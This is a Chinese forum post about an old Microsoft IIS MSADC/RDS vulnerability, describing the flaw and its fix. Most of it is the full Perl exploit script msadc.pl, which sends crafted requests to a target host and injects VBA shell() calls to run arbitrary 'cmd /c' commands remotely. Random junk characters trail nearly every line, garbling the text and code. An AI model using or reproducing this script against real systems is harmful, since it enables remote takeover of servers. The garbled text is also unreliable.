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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2mp>Mn~K^  
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涉及程序: ,c %gwzU  
Microsoft NT server E#V-F-@2  
gl\{QcI8<  
描述: X'Il:SK  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P:h4  
waq_d.  
详细: iuk8c.TAR  
如果你没有时间读详细内容的话,就删除: |/Q."d  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {kO:HhUg  
有关的安全问题就没有了。 Q+js2?7^  
F4{. 7BT  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 $mg h.3z0  
l#f]KLv4N_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 oW1olmpp=  
关于利用ODBC远程漏洞的描述,请参看: "uER a(i  
..{^"`FQ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5<8>G?Y  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 QMpA~x_m  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,ui'^8{gK  
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这里不再论述。 GT}#iM  
NbMH@6%E  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: U5%]nT"[]  
g#nsA(_L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ?Lb7~XKt\  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bN %MT#X  
x(6.W"-S  
JV{!Ukuyp+  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {$=%5  
*jSc&{s~  
#!perl R2f,a*>  
# 05zdy-Fb  
# MSADC/RDS 'usage' (aka exploit) script z9c=e46O  
# J3E:r_+  
# by rain.forest.puppy *Z(C' )7r  
# F<<H [,%0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z]_CFo1'l  
# beta test and find errors! 32'9Ch.  
~OfKn1D  
use Socket; use Getopt::Std; !H.lVA  
getopts("e:vd:h:XR", \%args); 0n^j 50Yq  
3ZZI1_j  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; K`2DhJC  
ozwqK oE  
if (!defined $args{h} && !defined $args{R}) { U^S:2  
print qq~ @}RyW&1Z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $\H46Ji  
-h <host> = host you want to scan (ip or domain) 82l";;n4p  
-d <seconds> = delay between calls, default 1 second v)pWx0l=  
-X = dump Index Server path table, if available 1#RA+d(  
-v = verbose 6% axbB  
-e = external dictionary file for step 5 g-uFss  
5mBk[{  
Or a -R will resume a command session OPh@H.)^  
</Lqk3S-!  
~; exit;} (acRYv(  
-^N '18:  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; B}T72!a  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} j KK48S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Y^f|}YO%y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 2AE|N_v8W  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6?~pjMV  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } B-zt(HG  
+fmZ&9hFNJ  
if (!defined $args{R}){ $ret = &has_msadc; 9 f+7vCA  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ThB2U(Wf  
]kvE+m&p}^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 3g?T,| 2K  
. "cmd /c "; ?+_"2XY  
$in=<STDIN>; chomp $in; W5 }zJ)x  
$command="cmd /c " . $in ; '?4[w]0J<  
Kep?=9r4+  
if (defined $args{R}) {&load; exit;} bZJiubBRI  
o)DKP>IM#  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; c Ix(;[U  
&try_btcustmr; D':A-E  
y3GIR f;>  
print "\nStep 2: Trying to make our own DSN..."; "b;?2_w:E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \:S8mDI^s  
?,[w6O*  
print "\nStep 3: Trying known DSNs..."; m-]"I8 [  
&known_dsn; p`0Tpgi  
a!.8^:B&  
print "\nStep 4: Trying known .mdbs..."; N11am  
&known_mdb; )LUl?  
s,= ^V/c  
if (defined $args{e}){ c=CXj3  
print "\nStep 5: Trying dictionary of DSN names..."; wz57.e!Me=  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 9`{cX  
0rj*SC_  
print "Sorry Charley...maybe next time?\n"; %G*D0pE  
exit; Ig2VJs;  
BDg /pDnwg  
############################################################################## ?T&D@Ohsx  
}I0^nv1  
sub sendraw { # ripped and modded from whisker {zcjTJ=Zt8  
sleep($delay); # it's a DoS on the server! At least on mine... Bf.RYLsh6  
my ($pstr)=@_; >'eqOZM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1['A1 ,  
die("Socket problems\n"); 'lF|F+8   
if(connect(S,pack "SnA4x8",2,80,$target)){ TnrMR1Zx  
select(S); $|=1; 6 9Cxh  
print $pstr; my @in=<S>; Phczf  
select(STDOUT); close(S); l%O-c}X  
return @in; +oa]v1/W  
} else { die("Can't connect...\n"); }} &W%TY:Da|  
d:aQlW;}  
############################################################################## +y2*[  
4C$,X!kzF  
sub make_header { # make the HTTP request e:]$UAzp  
my $msadc=<<EOT {>qCZ#E5WO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5VN4A<))  
User-Agent: ACTIVEDATA l#Tm`br  
Host: $ip FWj~bn  
Content-Length: $clen 3y!CkJKv  
Connection: Keep-Alive Ptg73Gm&R  
[g{}0 [ew  
ADCClientVersion:01.06 E_z@\z MB  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 h(fh |R<  
BBDOjhik  
--!ADM!ROX!YOUR!WORLD! xiiZ'U  
Content-Type: application/x-varg Qj~0vx!  
Content-Length: $reqlen 0-FbV,:;  
T"z!S0I  
EOT fAK  
; $msadc=~s/\n/\r\n/g; >/>a++19  
return $msadc;} KNn E5f  
>2rFURcD  
############################################################################## _^B+Xo@E-  
4-\a]"c  
sub make_req { # make the RDS request `4o;Lz~  
my ($switch, $p1, $p2)=@_; [x&&N*>N  
my $req=""; my $t1, $t2, $query, $dsn; LRs{nN.N  
/swTn1<Y  
if ($switch==1){ # this is the btcustmr.mdb query k$hWR;U  
$query="Select * from Customers where City=" . make_shell(); 9'tM65K  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . k;)L-ge9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} QM IQy  
mHP1.Z`  
elsif ($switch==2){ # this is general make table query 0YS*=J"7z  
$query="create table AZZ (B int, C varchar(10))"; q/[)mr|~  
$dsn="$p1";} e'jR<ln|  
oyHjdPdY#  
elsif ($switch==3){ # this is general exploit table query 6};Sn/ 8  
$query="select * from AZZ where C=" . make_shell(); \3KCZ  
$dsn="$p1";} zIL.R#|D=  
}b-?Dm_H  
elsif ($switch==4){ # attempt to hork file info from index server %VdJ<=@  
$query="select path from scope()"; 0ul2rZc  
$dsn="Provider=MSIDXS;";} x&;SLEM   
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elsif ($switch==5){ # bad query 0I.7I#'3O  
$query="select"; jQc0_F\  
$dsn="$p1";} -Oo$\=d  
|h3 YL!  
$t1= make_unicode($query); <%!@cE+y  
$t2= make_unicode($dsn); /q>"">  
$req = "\x02\x00\x03\x00"; J sH9IK:  
$req.= "\x08\x00" . pack ("S1", length($t1)); /g_}5s-Z  
$req.= "\x00\x00" . $t1 ; rsP1?Hxq  
$req.= "\x08\x00" . pack ("S1", length($t2)); X<1# )xC  
$req.= "\x00\x00" . $t2 ; \Wo,^qR  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; T# 8O:  
return $req;} m\Dbb.vBvW  
>FY`xl\m}<  
############################################################################## WUHijHo5(8  
?&Lb6(}e  
sub make_shell { # this makes the shell() statement b[/-lNrc  
return "'|shell(\"$command\")|'";} <AB]FBo(  
Kj'uTEM  
############################################################################## N~a?0x  
+VTMa9d  
sub make_unicode { # quick little function to convert to unicode nY6^DE2f  
my ($in)=@_; my $out; En[cg  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ?gTY! ;$P  
return $out;} c(@)V.o2  
H3&$:h  
############################################################################## ,l~i|_  
"_9Dau$  
sub rdo_success { # checks for RDO return success (this is kludge) R7vO,kZ6Q  
my (@in) = @_; my $base=content_start(@in); Wz9 }glr  
if($in[$base]=~/multipart\/mixed/){ A_CK,S*\,&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} C EAwQH  
return 0;} @c5TSHSL.  
CY9`ztO*  
############################################################################## o@"H3 gz  
j134iVF%  
sub make_dsn { # this makes a DSN for us b^rPw@  
my @drives=("c","d","e","f"); y_QK _R<f  
print "\nMaking DSN: "; ZMoN  
foreach $drive (@drives) { hbn2(e;FZ  
print "$drive: "; @*!8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !}<Y^="  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .]P@{T||Y  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (oxe'\  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; U }xRvNz  
return 0 if $2 eq "404"; # not found/doesn't exist ]H%y7kH8  
if($2 eq "200") { KxqJlben  
foreach $line (@results) { 6/ F]ncwG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} L-vy,[9)[*  
} return 0;} :Fu.S1j$  
|h4aJv  
############################################################################## K8f;AK  
fn]f$n*`  
sub verify_exists { ?o?~Df&  
my ($page)=@_; N"@aisi)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); n](Q)h'nlo  
return $results[0];} a}EO7tcg,  
[ lW~v:W  
############################################################################## ]gx]7  
:[A>O(  
sub try_btcustmr { `2( )Vf  
my @drives=("c","d","e","f"); 3%p^>D\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :>+}|(v  
j&(aoGl@  
foreach $dir (@dirs) { &3#19v7/  
print "$dir -> "; # fun status so you can see progress TldqF BX  
foreach $drive (@drives) { +O8rjVg)  
print "$drive: "; # ditto W!MO }0s  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1<IF@__  
$reqlenlen=length( "$reqlen" ); 76Ho\}-U">  
$clen= 206 + $reqlenlen + $reqlen; t4X:I&l-M:  
)! +~q!A  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); K*NCIIDh  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /?C}PM  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g ]%sX6T  
`v) :|Q  
############################################################################## qy|[V   
DPqk~KCM  
sub odbc_error { <#HQU<  
my (@in)=@_; my $base; #2{H!jr  
my $base = content_start(@in); @A?Ss8p'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ^qvN:v$1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X"lPXoCN  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J'4Pp<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I5Vp%mCY  
return $in[$base+4].$in[$base+5].$in[$base+6];} +J [<zxh\  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $z[FL=h)?+  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ))ArM-02  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ~FCkr&Ky3  
K;)(fc  
############################################################################## !79eF)  
KUD&vqx3  
sub verbose { cCa+UTxaJ  
my ($in)=@_; lFJDdf2:$C  
return if !$verbose; ] 40@yrc  
print STDOUT "\n$in\n";} 3&`LVhx  
VCf/EkC  
############################################################################## 1xBgb/+  
`|&#=hl~  
sub save { 9fQ[:Hl"  
my ($p1, $p2, $p3, $p4)=@_; |[./jg"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [8%R*}  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; s]X0}"cz  
close OUT;} v=8sj{g3,3  
^L4"X~eM  
############################################################################## j;TXZ`|(  
<dd XvUCX  
sub load { +YD_ L  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1buVV]*~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "Sb<"$ :  
@p=<IN>; close(IN); GUDz>(  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); z*,J0)<Q  
$target= inet_aton($ip) || die("inet_aton problems"); SB x<-^  
print "Resuming to $ip ..."; |&u4Q /0  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ,::f? Gc7j  
if($p[1]==1) { 15J t @{<r  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ?Z(xu~^/  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 4"^v]&I  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [x[ nTIg  
if (rdo_success(@results)){print "Success!\n";} Wd>gOE  
else { print "failed\n"; verbose(odbc_error(@results));}} y?P4EVknM3  
elsif ($p[1]==3){ &RB{0Qhx  
if(run_query("$p[3]")){ W!Fu7a  
print "Success!\n";} else { print "failed\n"; }} a1dkB"Zp.p  
elsif ($p[1]==4){ F<0GX!p4u  
if(run_query($drvst . "$p[3]")){ bDtb"V8e  
print "Success!\n"; } else { print "failed\n"; }} )dh_eqnX  
exit;} Q ym=L(X  
5c ($~EFr  
############################################################################## ]5a,%*f+  
|SX31T9rG  
sub create_table { #Y<QEGb(  
my ($in)=@_; S;tv4JY  
$reqlen=length( make_req(2,$in,"") ) - 28; )0XJOm  
$reqlenlen=length( "$reqlen" ); ~5:-;ZbZ  
$clen= 206 + $reqlenlen + $reqlen; ~O8Xj6  
my @results=sendraw(make_header() . make_req(2,$in,"")); 5H!6m_,w  
return 1 if rdo_success(@results); 68QA%m'J  
my $temp= odbc_error(@results); verbose($temp); GUcGu5tw:  
return 1 if $temp=~/Table 'AZZ' already exists/; Y]neTX [ef  
return 0;} *\#?)q  
Nhrh>x[wJ  
############################################################################## >A.m`w  
St|B9V?eEB  
sub known_dsn { dQ-:]T (  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ov|/=bzro  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", d>hLnz1O  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w$$vR   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); el3lR((H  
Bhf4 /$  
foreach $dSn (@dsns) { k.6(Q_TS  
print "."; ueP a4e!  
next if (!is_access("DSN=$dSn")); V9/PkuT  
if(create_table("DSN=$dSn")){ &O\$=&, h  
print "$dSn successful\n"; z;1qYW[-A  
if(run_query("DSN=$dSn")){ &BE'~G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { l'FNp  
print "Something's borked. Use verbose next time\n";}}} print "\n";} bR}=bp4K  
)uazB!X  
############################################################################## |m>{< :  
|.{[%OJP  
sub is_access { (0!U,8zz  
my ($in)=@_; dW9Ci"~v  
$reqlen=length( make_req(5,$in,"") ) - 28; ~@ML>z 7  
$reqlenlen=length( "$reqlen" ); !~QmY,R  
$clen= 206 + $reqlenlen + $reqlen; M&ec%<lM  
my @results=sendraw(make_header() . make_req(5,$in,"")); BkJNu_{m?  
my $temp= odbc_error(@results); [fIElH<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 50HRgoP5Y  
return 0;} vI0::ah/  
2 `nOYK  
############################################################################## |n*<H|  
>*e,+ok  
sub run_query { 7yFV.#K3O  
my ($in)=@_; 69JC!du  
$reqlen=length( make_req(3,$in,"") ) - 28; ST25RJC  
$reqlenlen=length( "$reqlen" ); -=VGXd  
$clen= 206 + $reqlenlen + $reqlen; gF8n{b  
my @results=sendraw(make_header() . make_req(3,$in,"")); uBA84r%{QQ  
return 1 if rdo_success(@results); 99u9L)  
my $temp= odbc_error(@results); verbose($temp); xy Pz_9  
return 0;} E;Q ,{{#  
09w<@#  
############################################################################## K [M[0D  
rFU|oDF  
sub known_mdb { AA~6r[*~  
my @drives=("c","d","e","f","g"); ?)mM]2%%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); C ]+J  
my $dir, $drive, $mdb; @ !m+s~~]h  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Hl b%/&  
h?+bW'm  
# this is sparse, because I don't know of many /qObXI  
my @sysmdbs=( "\\catroot\\icatalog.mdb", JVt(!%K}&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Dfl%Knl@J  
"\\system32\\certmdb.mdb", %eQw\o,a  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% g!.k>  
6ujePi <U  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?h7(,39^>  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *\T ]Z&E"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]q<Zc>OC  
"\\cfusion\\cfapps\\security\\realm_.mdb", Kfk/pYMDq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", gbL!8Z1h  
"\\cfusion\\database\\cfexamples.mdb", eZk4 $y  
"\\cfusion\\database\\cfsnippets.mdb", 3+d_5l;m)  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <P#]U"?A  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9Bw.Ih[Z  
"\\cfusion\\brighttiger\\database\\cleam.mdb", C3z#A3&J  
"\\cfusion\\database\\smpolicy.mdb", lCC(N?%Q  
"\\cfusion\\database\cypress.mdb", 7-`iI(N<  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 8nQjD<-  
"\\website\\cgi-win\\dbsample.mdb", 4Y:[YlfD.  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", v5`Q7ZZ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" "*N=aHsj  
); #these are just OjRJyhzS*  
foreach $drive (@drives) { LJ+Qe%|  
foreach $dir (@dirs){ v\3}5v%YI  
foreach $mdb (@sysmdbs) { ">hOD'PG  
print "."; 1Kc[ ).O1  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ M->$ 'Zgh`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; o:8*WCiqrN  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ N]iu o.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; "JJEF2e@Z  
} else { print "Something's borked. Use verbose next time\n"; }}}}} fBRU4q=^T  
C=uYX"  
foreach $drive (@drives) { [K4wd%+  
foreach $mdb (@mdbs) { AHl1{* [  
print "."; rj> _L  
if(create_table($drv . $drive . $dir . $mdb)){ oGXndfd"  
print "\n" . $drive . $dir . $mdb . " successful\n"; u[;,~eB%w  
if(run_query($drv . $drive . $dir . $mdb)){ Od5I:p]N  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (@"5:M  
} else { print "Something's borked. Use verbose next time\n"; }}}} W]U}, g8Z  
} ?N/6m  
::eYd23  
############################################################################## Fo@cz"%  
H 6~6hg  
sub hork_idx { kvo V?<!  
print "\nAttempting to dump Index Server tables...\n"; Vim*4^[#L  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; do>,ELS+m  
$reqlen=length( make_req(4,"","") ) - 28; wSwDhOX=  
$reqlenlen=length( "$reqlen" ); #y:,owo3I  
$clen= 206 + $reqlenlen + $reqlen; d?Y|w3lB  
my @results=sendraw2(make_header() . make_req(4,"","")); h.ln%6:d  
if (rdo_success(@results)){ eG05}  
my $max=@results; my $c; my %d; cEc_S42Z  
for($c=19; $c<$max; $c++){ ;ZVT[gi*  
$results[$c]=~s/\x00//g; <yq kJ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; !|@hU/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ZgD%*bH*B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 2\/,X CQV  
$d{"$1$2"}="";} rrL gBeQa  
foreach $c (keys %d){ print "$c\n"; } N(W;\>P  
} else {print "Index server doesn't seem to be installed.\n"; }} Jv+N/+M47  
j[e<CGZ  
############################################################################## &?)? w-$p  
|0Y: /uL#)  
sub dsn_dict { O7of9F~"  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); m:  
while(<IN>){ 0!fT:Ra  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; XHER[8l  
next if (!is_access("DSN=$dSn")); #FNSE*Y  
if(create_table("DSN=$dSn")){ 6#SUfK;  
print "$dSn successful\n"; AIU=56+I\  
if(run_query("DSN=$dSn")){ ah9P C7[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -\dcs?  
print "Something's borked. Use verbose next time\n";}}} }\$CU N  
print "\n"; close(IN);} ><Awk~KR  
)oU%++cdo  
############################################################################## vv FH (W  
c`E0sgp  
sub sendraw2 { # ripped and modded from whisker bMp[:dw`y  
sleep($delay); # it's a DoS on the server! At least on mine... wS"`~Ql_  
my ($pstr)=@_; ]o<&Q52|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0` y*7.Ip  
die("Socket problems\n"); =Sp+$:q*  
if(connect(S,pack "SnA4x8",2,80,$target)){ FMNT0  
print "Connected. Getting data"; gx ]5)O  
open(OUT,">raw.out"); my @in; # X`t~Y'  
select(S); $|=1; print $pstr; 5"WI^"6b:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} FD[o94`%  
close(OUT); select(STDOUT); close(S); return @in; \M U-D,@  
} else { die("Can't connect...\n"); }} Hq;*T3E  
+ \jn$>E  
############################################################################## F>lM[Lu#  
XEe$Wh  
sub content_start { # this will take in the server headers ^(+@uuBx  
my (@in)=@_; my $c; B{ hV|2  
for ($c=1;$c<500;$c++) { 8quH#IhB  
if($in[$c] =~/^\x0d\x0a/){ N eC]MW  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } >*]dB|2  
else { return $c+1; }}} >z|bQW#2  
return -1;} # it should never get here actually %u!)1oOIz  
m>{I>:sq  
############################################################################## qF3s&WI  
'Y22HVUX  
sub funky { *ORa@ x  
my (@in)=@_; my $error=odbc_error(@in); 6c[Slq!KA  
if($error=~/ADO could not find the specified provider/){ H g04pZupN  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; H.]p\ UY9  
exit;} }Dx5W9Ri"  
if($error=~/A Handler is required/){ !%/2^  
print "\nServer has custom handler filters (they most likely are patched)\n"; b`fWT:?=  
exit;} KSve_CBOh  
if($error=~/specified Handler has denied Access/){ =: =s  
print "\nServer has custom handler filters (they most likely are patched)\n"; SNrX(V::z  
exit;}} j*_>/gi  
U&o ~U] rm  
############################################################################## WiqkC#N  
>>T,M@s-:  
sub has_msadc { wJg&OQc9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ,?c=v`e  
my $base=content_start(@results); !N74y%=M  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =l4F/?u]f@  
return 0;} 'NN3XyD  
4hWFgk  
######################## nn8uFISb  
1Gw_S?$7  
/xb37,   
解决方案: Mi<}q@]e  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll `{&l _  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 D' `[y  
%iD'2e:  
拿出来充数 哈哈
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